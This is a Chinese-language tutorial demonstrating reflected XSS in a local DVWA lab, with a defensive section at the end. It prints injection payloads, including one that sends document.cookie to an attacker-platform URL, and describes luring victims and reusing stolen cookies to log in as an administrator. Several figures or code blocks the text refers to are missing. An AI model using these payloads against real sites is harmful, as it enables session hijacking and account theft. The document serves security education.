大多数人对于XSS的原理有一个基本认识,这里不再重复,只给出一个能够演示其原理的完整样例。
1 角色分配
- 有XXS漏洞的网站,IP地址http://127.0.0.1/dvwa/DVWA-master,PHP为开发语言
- 受害访问者,浏览器为IE11
- 黑客的数据接收网站,IP地址http://127.0.0.1/xsser/index.php,xsser.me平台
2 源码实例
2.1 漏洞网站
该网页把用户通过GET发送过来的表单数据,未经处理直接写入返回的html流,这就是XSS漏洞所在(输入被写入html代码中并且返回展示);
比如在输入框中输入:<script src=http://127.0.0.1/xsser/HS8WzU></script>,点击提交,就把这样一段脚本注入到html中了;
网页的html脚本就变成了:
2.2 攻击方法
在输入框中输入如下攻击语句并提交:<script src=http://127.0.0.1/xsser/HS8WzU></script>
上面的src填写的接受地址,是由XSS平台生成(黑客接受网址):
PS:
如果是使用一个脚本来获取xss攻击的猎物,攻击语句为:
"/> <script>window.open("http://黑客攻击平台的IP/xss_hacker.php?cookie="+document.cookie);</script><!--
这里xss_hacker.php是攻击文件,放到攻击者黑客的网站服务器下。获取来的cookies写入到xss_hacker.php脚本中设置的txt文件中。
2.3 生成的url
最终生成的攻击URL为:
接下来要做的就是,寻找受害人,诱惑其点击上述URL;当有受害人点击了这个url就执行了html中的脚本将cookies返给黑客。
明显看出,这个html会去执行一个脚本,这个脚本功能是把用户的cookie发送到黑客的接收网站。
2.4 获取猎物
xss平台的得到的cookie,如下:
黑客获取cookies之后使用特定的浏览器或者工具,访问论坛,并带着获取的cookies,就可以不用登陆即可以管理员账户登录论坛。(正常的浏览器不能伪造cookies除非使用插件)
备注:
对于一些论坛网站,黑客通过提交帖子往html中注入获取cookies的脚本,当管理员或者其他人点击帖子的时候,就执行了该脚本,获取管理员cookies,并且将cookies发送到黑客的网址。黑客获取cookies之后使用特定的浏览器或者工具,访问论坛,并带着获取的cookies,就可以不用登陆即可以管理员账户登录论坛。(正常的浏览器不能伪造cookies除非使用插件)
3 攻击流程:
1、黑客可以通过各种扫描工具或者人工输入来找到有XSS漏洞的网站URL
2、构造攻击字符串
3、确定获取猎物的方式(xss平台或者自己写的脚本)
4、执行攻击
5、获取猎物:cookies或者用户名密码
6、利用获取的敏感数据做坏事(可以使用获取的cookies访问网址,不需要输入密码)。
4 XSS的预防
XSS的预防可以从多方面着手:
(1)如前面所述,浏览器自身可以识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;
(2)从根本上说,解决办法是消除网站的XSS漏洞,这就需要网站开发者运用转义安全字符等手段,始终把安全放在心上;
(3)对于普通网民,需要注意尽量抵挡诱惑,别去点击非知名网站的链接。